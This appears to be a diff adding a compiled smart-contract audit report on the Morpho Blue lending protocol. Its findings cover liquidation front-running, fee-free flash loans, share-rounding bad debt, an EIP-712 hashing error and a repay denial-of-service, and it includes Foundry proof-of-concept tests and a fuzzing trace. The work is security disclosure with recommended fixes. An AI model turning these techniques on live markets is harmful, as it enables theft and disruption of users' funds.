+Add this setup config to the `BaseTest.sol` file:
+```javascript
+// declaring lender addresses
+ address public BOB;
+ address public ALICE;
+ address public GEORGE;
+ address public ELSA;
+ address public REX;
+
+// creating lender addresses inside the setUp() function
+ BOB = vm.addr(1);
+ ALICE = vm.addr(2);
+ GEORGE = vm.addr(3);
+ ELSA = vm.addr(4);
+ REX = vm.addr(5);
+
+// approving the morpho contract to spend the loan token
+ changePrank(BOB);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(ALICE);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(GEORGE);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(ELSA);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(REX);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+```
+
+This POC test file shows the impact for 5 lenders in market that got diluted due to a single `badDebt`. Diluted by >65% of assets.
+
+- Recommendations
+First things first, having a check to block a borrower from liquidating their underwater position can be easily bypassed by liquidating with an unknown record address.
+
+
+
+
+### Liquidations can be can front-runned by bots
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Relevant Github links
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L344
+
+- Summary
+The liquidation transactions of normal liquidators can be front-runned by bots to take all the gains, discouraging liquidators to use the protocol. Regular liquidator are also exposed to MEV oracle price manipulation.
+
+- Vulnerability Details
+The function `Morpho::liquidate` is used to liquidate the unhealthy collateral positions by the liquidators. And protocol has another function `Morpho::flashLoan` which is used to take flash from the protocol *without paying any fee and unlimited amount of loan can be taken from the protocol*. A bot which is constantly monitoring the markets and when a position is identified as liquidable, It immediately frontrun the transactions of liquidators by paying higher gas fee. As long as there is fee for Flashloan in the protocol bot has nothing care about initial capital to liquidate the positions.
+
+By doing so, it monopolize the liquidation process of the protocol and discourage the normal liquidators to use the protocol for earning incentives.
+
+Also, in the case of a sudden token price changes caused by oracle price manipulations and MEV front-run can cause liquidators to get less than expected collateral tokens.
+
+
+- Impact
+- Liquidators stand to earn less than expected collateral tokens
+- Bots will monopolize the liquidation process of the protocol and discourage the regular liquidators to participate in liquidation.
+
+
+- Recommendation
+To avoid this situation, we recommend:
+- Implement an input parameter uint256 minimumOutputTokens that would be received by a liquidator at ln 379
+`require(seizedAssets>= minimumOutputTokens, "Too little collateral received."); `
+- Implement a fee for flash loans and limit the size of the loans.
+- Implementing a whitelist of liquidators addresses by verifying them off-chain. Just be ware that restricting the list of liquidators can be risky.
+
+
+
+### `Morpho.sol` free arbitrage due to lack of fees in flashloan
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Relevant Github links
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L415-L422
+
+- Summary
+Anyone can utilize the funds of the `Morpho` contract for an arbitrage opportunity without returning a fee.
+
+- Vulnerability Details
+The flashloan function is probably going to be used a lot since the morpho contract will hold amounts of tokens at all times. Presently, there's no fee for utilizing it for actions like arbitrage, pump and dumps, and price manipulations externally or for other use cases externally beyond liquidations.
+
+```javascript
+ function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ IERC20(token).safeTransfer(msg.sender, assets);
+
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+ }
+```
+- Impact
+The `flashloan` function allows smart contracts to borrow a token's x balance from Morpho.sol contract. This could be any token as long as the Morpho contract has a balance for it. This is lender, borrower' funds utilized without pay. This liquidate function could be further developed to earn a fee which can then compound to actually help absorb some of the `badDebts` incurred from position liquidations on Morpho rather than a free to use implementation it currently is set to.
+
+- Recommendations
+Implement a fee for using the flashloan the user will have to pay back alongside the borrowed assets.
+
+
+
+### Liquidation `repaidShares` computation rounding issue
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Currently, liquidations can end up with the borrower having a _less healthy_ position than before the liquidation (even without liquidation incentive and favorable LLTV). Note that the borrower position is measured in _shares_ (not assets) via `position[id][borrower].borrowShares`.
+The `repaidShares` are **rounded down** from the seized-assets-converted repaid assets value. For illustration, `repaidShares` could even be `0` if the share price (`totalBorrowAssets / totalBorrowShares`) is above `1.0`. (This can happen as the IRM allows borrow rates up to a billion % APR per year and the initial start price is just `1e-6 = 0.000001` or through other ways, see existing issue about inflating borrow share price mentioned in Cantina audit.)
+The borrower's borrow debt position would not be repaid as `repaidShares = 0` but the liquidator still seizes `seizedAssets` of the borrower's collateral. The borrower's health factor only gets worse.
+
+**Impact**:
+The impact is that an unhealthy borrower's position can be fully liquidated by splitting up liquidations into tiny liquidations (each repaying zero shares but seizing the full rounded-up repay amount of collateral) while not reducing their actual asset debt position. The protocol will incur the entire initial borrow debt assets as bad debt.
+
+**Recommendation**:
+While the computed `repaidAssets` and `repaidShares` are correct for the repay part of the liquidation, the code also needs to ensure that the value of the `seizedAssets` is not greater than the value of the final `repaidShares`. In the case where the liquidator provides a fixed `seizedAssets` parameter amount it's not straightforward, a potential solution could be to readjust `repaidAssets`.
+
+```solidity
+if (seizedAssets > 0) {
+ repaidAssets = seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ // round up to ensure seizedAssets < repaidShares value
+ repaidShares = repaidAssets.toSharesUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+ // imitate a repay of repaidShares
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+}
+```
+
+
+
+### Can prevent bad debt socialization _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L387-L387](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L387-L387)
+
+**Description**: A liquidator that wants to fully liquidate a bad debt position chooses a specific `seizedAssets` parameter of `position[id][borrower].collateral` such that socializing the bad debt is triggered on for `position[id][borrower].collateral == 0`.
+However, any user can frontrun the transaction by supplying collateral of 1 asset via `supplyCollateral(market, 1, borrower, "")`.
+The final `position[id][borrower].collateral` will then be `1` and bad debt will not be socialized.
+There is an incentive to delay the bad debt socialization for someone who locked up large chunks of supply assets that are currently unavailable to be withdrawn (for example because market utilization is at 100%).
+
+**Recommendation**: Consider always socializing (part of the) bad debt (= debt value - collateral value) even on partial liquidations.
+
+
+
+### Full liquidations specified with `repaidShares` can be prevented _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L380-L380](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L380-L380)
+
+**Description**: A liquidator that wants to fully liquidate a position chooses a specific `repaidShares` parameter of `position[id][borrower].borrowShares`.
+However, any user can frontrun the transaction by repaying 1 borrow share via `repay(market, assets=0, shares=1, borrower, "")`. The liquidation will fail as it tries to repay more borrow shares than the user has. The user has an incentive to perform this action to avoid being liquidated and lose their collateral at a discount.
+
+**Recommendation**: Consider capping the repaidShares to the user's `position[id][borrower].borrowShares` for liquidations when `repaidShares > 0` is provided.
+
+
+
+### Bad debt not socialized because of no incentives _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L387-L387](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L387-L387)
+
+**Description**: Currently bad debt is only socialized if the borrower's `position[id][borrower].collateral == 0`. There are several ways the collateral can up with dust amounts while still having lots of bad debt.
+Either through partial liquidations by choosing a `repaidShares` parameter instead of `seizedAssets`, or users frontrunning full liquidations by supplying collateral or repaying debt.
+
+Once the borrower position only has dust amounts as collateral, there is no incentive to liquidate the dust. Bad debt will never be realized by the protocol which is bad for the protocol's safety.
+
+**Recommendation**: Consider incentivising the socializing of bad debt or come up with a bad debt algorithm that does not rely on the collateral position to be exactly 0.
+
+
+
+### Missing slippage checks for `withdraw`
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L197-L197](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L197-L197)
+
+**Description**: The supply share price (`market[id].totalSupplyAssets / market[id].totalSupplyShares`) can drop when bad debt is socialized in liquidations as `market[id].totalSupplyAssets` decreases without decreasing the `market[id].totalSupplyShares`.
+
+A user wants to withdraw their entire position by calling `withdraw(shares=position[id][onBehalf].supplyShares)` and expects to receive assets according to the current supply share price. While the transaction is mined a bad debt liquidation occurs and the user ends up withdrawing fewer assets. In that case, they'd rather have stayed in the pool until more interest accrues again.
+
+**Recommendation**: Consider adding a `minAssetOut` parameter to `withdraw` if `shares > 0` is provided, or even use `assets` as the min asset parameter in case both `shares > 0` and `assets > 0` is provided.
+
+
+
+
+### The `hastStruct` calculation in `Morpho::setAuthorizationWithSig` does not follow EIP712 specification _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Links**: https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L439
+
+**Description**:
+The calculation of the hashStruct done in `Morpho::setAuthorizationWithSig` does not follow the EIP-712 specifically when adding the `encodeData`.
+
+```solidity
+function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+ require(block.timestamp <= authorization.deadline, ErrorsLib.SIGNATURE_EXPIRED);
+ require(authorization.nonce == nonce[authorization.authorizer]++, ErrorsLib.INVALID_NONCE);
+
+@> bytes32 hashStruct = keccak256(abi.encode(AUTHORIZATION_TYPEHASH, authorization));
+ bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
+ address signatory = ecrecover(digest, signature.v, signature.r, signature.s);
+
+ require(signatory != address(0) && authorization.authorizer == signatory, ErrorsLib.INVALID_SIGNATURE);
+
+ emit EventsLib.IncrementNonce(msg.sender, authorization.authorizer, authorization.nonce);
+
+ isAuthorized[authorization.authorizer][authorization.authorized] = authorization.isAuthorized;
+
+ emit EventsLib.SetAuthorization(
+ msg.sender, authorization.authorizer, authorization.authorized, authorization.isAuthorized
+ );
+ }
+```
+The `AUTHORIZATION_TYPEHASH` defined as
+
+```js
+bytes32 constant AUTHORIZATION_TYPEHASH =
+ keccak256("Authorization(address authorizer,address authorized,bool isAuthorized,uint256 nonce,uint256 deadline)");
+```
+
+The issue is that `authorization` is directly hashed in the hashStruct, while EIP-712 specifies that the values of the struct fields should be encoded in a specific manner.
+
+**Impact**
+as per the EIP-712 specification, which will result in unexpected integration failures with EIP712-compliant wallets or tooling that perform the encoding in the appropriate way.
+
+**Recommendation**:
+Follow the EIP712 specifications as described [here](https://eips.ethereum.org/EIPS/eip-712)
+```javascript
+bytes32 hashStruct = keccak256(abi.encode(
+ AUTHORIZATION_TYPEHASH,
+ authorization.authorizer,
+ authorization.authorized,
+ authorization.isAuthorized,
+ authorization.nonce,
+ authorization.deadline
+));
+```
+
+
+
+### `Morpho.sol` Upgradeable tokens can break logic _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Summary
+Tokens whose code and logic can be changed in the future can break the protocol and result to locked user funds and or internal accounting issues.
+
+- Vulnerability Details
+For a token like TUSD, which has a proxy and implementation contract, when used as a collateral token/loan token for a market, say TUSD/ETH market, if the implementation behind the proxy is changed, it will introduce features that breaks the Morpho protocol, specifically the connected markets like changing the token holder's balance over time like a rebasing token, or some other weird ERC20s functionnality...
+
+- Impact
+Morpho markets may break in the future for such tokens and block user funds deposited as collateral.
+
+- Recommendations
+1. Consider introducing a logic that will freeze interactions with such tokens when the upgrade is detected. (e.g. the TUSD adapter used by MakerDAO).
+2. Have a token whitelist which does not allow such tokens to be used as collateral or loan tokens.
+3. Disallow tokens with a proxy
+
+
+
+### `Morpho.sol` pausable tokens can break logic
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Links
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L224
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L292
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L338
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L400
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L407
+
+- Summary
+Pausable tokens such as ZIL can break the logic of `Morpho.sol` when used as collateral or Loan token for a market.
+
+- Vulnerability Details
+Such tokens (BNB, ZIL) have a Pausable mechanism implemented that allows an admin controlled address to pause token usage/transfers.
+
+- Impact
+This opens users up to several risks including inability to receive back collateral or Loan token after settling a loan. If the loan token is the issue, then borrows will be enable to setlle a loan which will expose them to an increased market risk. Another example is causing the liquidation of assets with such tokens backing as collateral to revert. Which can expose the market to a huge risk as undercollateralized position are not being iquidated.
+
+- Recommendations
+Alerting users on the borrow page for a market of the potential risks of a pausable token would be great. Also, disallowing such tokens to be used as collateral using a `disallowedToken` array/mapping would be a great fix as well as you can check against such benchmark during a market's creation.
+
+
+
+### Rebasing tokens go to the `morpho` contract owner, or remain locked in the contract _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Links :
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L218
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L285
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L332
+
+- Description
+Rebasing tokens are tokens that have each holder's balanceof() increase over time. Aave aTokens are an example of such tokens.
+
+- Impact
+If rebasing tokens are used for a market, rewards accrue to the contract cannot be withdrawn by either the lenders/collateral depositors or the owner, and remain locked forever.
+
+- Proof of Concept
+The supply/borrow amounts available are determined using internal accounting. These amounts are saved onchain and can only change if one of the internal funtionnalities are called.
+
+```javascript
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+ market[id].totalBorrowShares += shares.toUint128();
+ market[id].totalBorrowAssets += assets.toUint128();
+```
+An increase in the contract's balance in the rebase token will not be met by an increase in the internal accounting.
+
+- Recommended Mitigation Steps
+- Track total amounts currently deposited and allow lenders and collateral depositors to withdraw excess on a pro-rata basis
+- Disallow rebasing tokens
+
+
+
+### Invariant breaking because the balance of loan token is less than the total supply which can cause issues
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Summary
+
+A sequence of transactions in the Morpho protocol leads to a situation where the balance of the loan token is less than the total supply of assets, potentially causing liquidity issues. This scenario was identified during an invariant test suite run.
+
+- Vulnerability Details
+
+The issue arises when a series of complex interactions, including supplying assets, borrowing, and repaying, are performed in a specific sequence. This sequence leads to an imbalance where the total supply of assets within the protocol exceeds the actual balance of loan tokens held by the protocol. This discrepancy suggests that the protocol's internal accounting mechanisms are not accurately tracking the state of assets, leading to a potential shortfall in available liquidity.
+
+Key interactions leading to this state include:
+- Supplying assets to the protocol.
+- Borrowing assets on behalf of other users.
+- Withdrawing collateral.
+- Repaying shares or assets.
+
+During these interactions, the protocol's internal ledgers (total supply shares and total borrow assets) become inconsistent with the actual token balance held by the protocol.
+
+Below the invariant test :
+```javascript
+ function invariantMorphoBalanceDiff() public {
+ for (uint256 i; i < allMarketParams.length; ++i) {
+ MarketParams memory _marketParams = allMarketParams[i];
+ Id _id = _marketParams.id();
+ address[] memory users = targetSenders();
+
+ assertGe(
+ loanToken.balanceOf(address(morpho)), morpho.totalSupplyAssets(_id)
+ );
+ }
+ }
+```
+
+Test Result :
+```javascript
+forge test --mt invariantMorphoBalanceDiff -vv
+[⠃] Compiling...
+No files changed, compilation skipped
+
+Running 1 test for test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest
+[FAIL. Reason: Assertion failed.]
+ [Sequence]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=supplyAssetsOnBehalfNoRevert(uint256,uint256,uint256), args=[15689096530787851270885641623470443958971 [1.568e40], 115792089237316195423570985008687907853269984665640564039457584007913129639934 [1.157e77], 25119731970084839364625775591564963619465697160753007570997372 [2.511e61]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=borrowAssetsOnBehalfNoRevert(uint256,uint256,uint256,address), args=[47867917545318707816705273254 [4.786e28], 19261160418259415009918106710333977921918604287178966743883672675720412101717 [1.926e76], 115792089237316195423570985008687907853269984665581672181464982310849410653125 [1.157e77], 0x000000000000000000000000000000000000101e]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=supplyAssetsOnBehalfNoRevert(uint256,uint256,uint256), args=[5545855851755903866049009305337103457513852784888921 [5.545e51], 0, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=mine(uint256), args=[4629091519815095644931474381031326 [4.629e33]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=mine(uint256), args=[115792089237316195423570985008687907853269984665640564039457584007913129639934 [1.157e77]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=withdrawCollateralOnBehalfNoRevert(uint256,uint256,uint256,address), args=[9598470948540600439161751456 [9.598e27], 18683659942938365739943769775 [1.868e28], 88828989 [8.882e7], 0xFFfFFFffffffffFF4a11602424C268415788df46]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=withdrawCollateralOnBehalfNoRevert(uint256,uint256,uint256,address), args=[115792089237316195423570985008687907853269984665640564039457584007913129639933 [1.157e77], 2, 3126180289535805932 [3.126e18], 0x6BfD4DA3D46A18CDAD7CF7aF99E7197F4E75974F]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=repaySharesOnBehalfNoRevert(uint256,uint256,uint256), args=[655971085705655029117083835709958974440865169651768014029714 [6.559e59], 16905 [1.69e4], 12065 [1.206e4]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=repayAssetsOnBehalfNoRevert(uint256,uint256,uint256), args=[41816152636305138919469677655083277010573580110034595273521831468339440 [4.181e70], 203559673788752695872815341782820450500853072040965595209758790602 [2.035e65], 17714021222844101968051333793092784345 [1.771e37]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=borrowAssetsOnBehalfNoRevert(uint256,uint256,uint256,address), args=[3, 238567331026156542312854 [2.385e23], 115792089237316195423570985008687907853269984665640564039457584007913129639934 [1.157e77], 0xbC97ab7CeD03e3940d0c7c5C2DcEC2E05F1147B0]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=mine(uint256), args=[1]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=mine(uint256), args=[64962068306178523 [6.496e16]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=supplyCollateralOnBehalfNoRevert(uint256,uint256,uint256), args=[7701, 58661267932846645164587464870 [5.866e28], 115792089237316195423570985008687907853269984665563374184969117937289657135710 [1.157e77]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=supplyCollateralOnBehalfNoRevert(uint256,uint256,uint256), args=[4151094940693816894997044988519638230945337479959754377 [4.151e54], 3091, 25414716084876103389262389888909759801444819605223876481454421815329975959552 [2.541e76]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=withdrawCollateralOnBehalfNoRevert(uint256,uint256,uint256,address), args=[50729707285343763063456481331338024416166129494 [5.072e46], 257020782868339710430233907788475536729026751896665396694764476746 [2.57e65], 372005166938189453550064352522561 [3.72e32], 0x6b96F8c8e538F57DC3788391828c8Ba977AFc462]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=supplyAssetsOnBehalfNoRevert(uint256,uint256,uint256), args=[115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], 0, 215641170255389416085238674 [2.156e26]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=repaySharesOnBehalfNoRevert(uint256,uint256,uint256), args=[26262633334759302921412297031152739924016068827630960658611859380910 [2.626e67], 519999999 [5.199e8], 10616 [1.061e4]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=mine(uint256), args=[1883300568421788049288661327267479960454808888380751874 [1.883e54]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=withdrawAssetsOnBehalfNoRevert(uint256,uint256,uint256,address), args=[157198260 [1.571e8], 466597248823221784107733380 [4.665e26], 13777 [1.377e4], 0x0000000000000000000000000000000000002565]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=repaySharesOnBehalfNoRevert(uint256,uint256,uint256), args=[22197666539106160184781221 [2.219e25], 103944 [1.039e5], 115792089237316195423570985008687907853269984665640564039457584007913129639933 [1.157e77]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=mine(uint256), args=[113296744496539183079 [1.132e20]]
+ sender=0x5cb738dae833ec21fe65ae1719fad8ab8ce7f23d addr=[test/forge/invariant/MorphoInvariantTest.sol:MorphoInvariantTest]0x7fa9385be102ac3eac297483dd6233d62b3e1496 calldata=borrowAssetsOnBehalfNoRevert(uint256,uint256,uint256,address), args=[1703305505976607339866046716378648904186406682076649398601987418297991167 [1.703e72], 24524190655602197171416012522190451971369810663797045886930896721548352159744 [2.452e76], 9999999999999999999999952008 [9.999e27], 0xFfffFfFffffFffffcD801D7051C667D2eE6D632F]
+
+```
+- Impact
+
+The primary impact of this vulnerability is the potential for liquidity issues within the protocol. This could lead to situations where users are unable to withdraw their assets due to a shortfall in the protocol's holdings and scenarios where borrowing tokens is halted. This could erode trust in the protocol.
+
+- Tools Used
+
+Forge
+
+- Recommendations
+
+- Consider introducing additional checks and balances in the contract logic to ensure that the total supply of assets always matches the actual token balance held by the protocol before interest accrual.
+
+
+
+
+
+
+
+### the repay() function can be DOSed
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:When borrowers use the "repay" function to fully repay their debts, there is a risk of their transactions being reverted if a malicious actor frontruns and repays a small amount (1 wei) of their debt before them. This can lead to a Denial of Service attack on the borrower's repayment process, which can be particularly risky in volatile market situations.
+
+```solidity
+position[id][onBehalf].borrowShares -= shares.toUint128();
+```
+This line will be reverted because the borrower's repayment amount will exceed their debt.
+
+POC:
+RepayIntegrationTest.sol
+
+```solidity
+function testRepayMax(uint256 shares) public {
+ shares = bound(shares, MIN_TEST_SHARES, MAX_TEST_SHARES);
+
+ uint256 assets = shares.toAssetsUp(0, 0);
+
+ loanToken.setBalance(address(this), assets);
+
+ morpho.supply(marketParams, 0, shares, SUPPLIER, hex"");
+
+ collateralToken.setBalance(address(this), HIGH_COLLATERAL_AMOUNT);
+
+ morpho.supplyCollateral(marketParams, HIGH_COLLATERAL_AMOUNT, BORROWER, hex"");
+
+ vm.prank(BORROWER);
+ morpho.borrow(marketParams, 0, shares, BORROWER, RECEIVER);
+
+ loanToken.setBalance(address(this), assets);
+
+ morpho.repay(marketParams, 0, 1, BORROWER, hex"");
+ morpho.repay(marketParams, 0, shares, BORROWER, hex"");
+ }
+```
+**Recommendation**:
+```solidity
+if(shares > position[id][onBehalf].borrowShares) shares = position[id][onBehalf].borrowShares;
+```
+
+
+
+### Small bad debts can accumulate to create a liquidity issue
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Links :
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L394-L396
+
+- Summary
+
+In the MorphoBlue protocol, the handling of bad debts during extreme market events can lead to a liquidity crisis. This situation arises when a significant number of positions become undercollateralized simultaneously, and the protocol's current mechanism for absorbing bad debts unfairly impacts regular users.
+
+- Vulnerability Details
+
+The protocol's approach to managing bad debts involves reducing both `totalBorrowAssets` and `totalSupplyAssets` by the amount of the bad debt. This process can lead to two major issues:
+
+1. In extreme market conditions where many positions become undercollateralized at once, the protocol may absorb a large amount of bad debt, significantly depleting its liquidity.
+2. Regular users, who are not directly involved in these undercollateralized positions, indirectly bear the cost of the bad debts, as these are absorbed into the protocol's assets.
+
+- Scenario
+- A sudden and severe downturn in the market leads to a significant drop in collateral values.
+- As a result, a large number of positions become undercollateralized.
+- The protocol begins liquidating these positions, but due to the sheer volume, it absorbs a substantial amount of bad debt.
+- The accumulation of bad debts outpaces the deposits/supply.
+- Regular users find themselves unable to withdraw their assets, and the value of their holdings in the protocol is reduced due to the absorption of bad debts.
+
+- Impact
+
+The primary impacts of this vulnerability include:
+- Users face increased financial risk due to potential liquidity issues and the indirect cost of absorbing bad debts.
+- Users assets lose value.
+
+- Recommendations
+
+1. Reevaluate the protocol's approach to handling bad debts, especially in scenarios of mass undercollateralization.
+2. Explore proactive measures to mitigate the impact of market downturns, such as maintaining a reserve fund or implementing dynamic collateral requirements.
+4. Improve the protocol's risk management strategies to better handle extreme market conditions.
+
+
+
+
+
+### in `accrueInterest()` rounding error will cause the real fee rate to be different than promised one for some tokens _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L483-L483](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L483-L483)
+
+This is the same issue as finding [496](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/findings/d0e1cce7-13e9-4390-8195-50af80779d9e) with this difference that this will happen to fee amount and the impact is higher because another division happens. the below formula shows that for how much balance the calculated fee will be zero:
+`B0 = 1 / (s * ((1+r) ^ (1 / (365 * 24 * 60 * 60)) - 1)) / fee`, `s` is elapsed seconds, `r` is APY and `fee` is fee amount for example for 0.01 APY and 10 seconds elapsed time and 0.01 fee we have:
+`B0 = 1 / (s * ((1+r) ^ (1 / (365 * 24 * 60 * 60)) - 1)) / fee = 1 / (10 * ((1+0.01) ^ (1 / (365 * 24 * 60 * 60)) - 1)) / 0.01 = 31693416538 = 3 * 10^10`
+which means if balance was less than `3*10^10` and APY:0.01 , update interval: 10 and fee: 0.01 then calculated fee will be 0.
+
+because this is a similar issue all the explanation in #496 will apply here too. this is more serious because we have another division by fee and can impact more token settings.
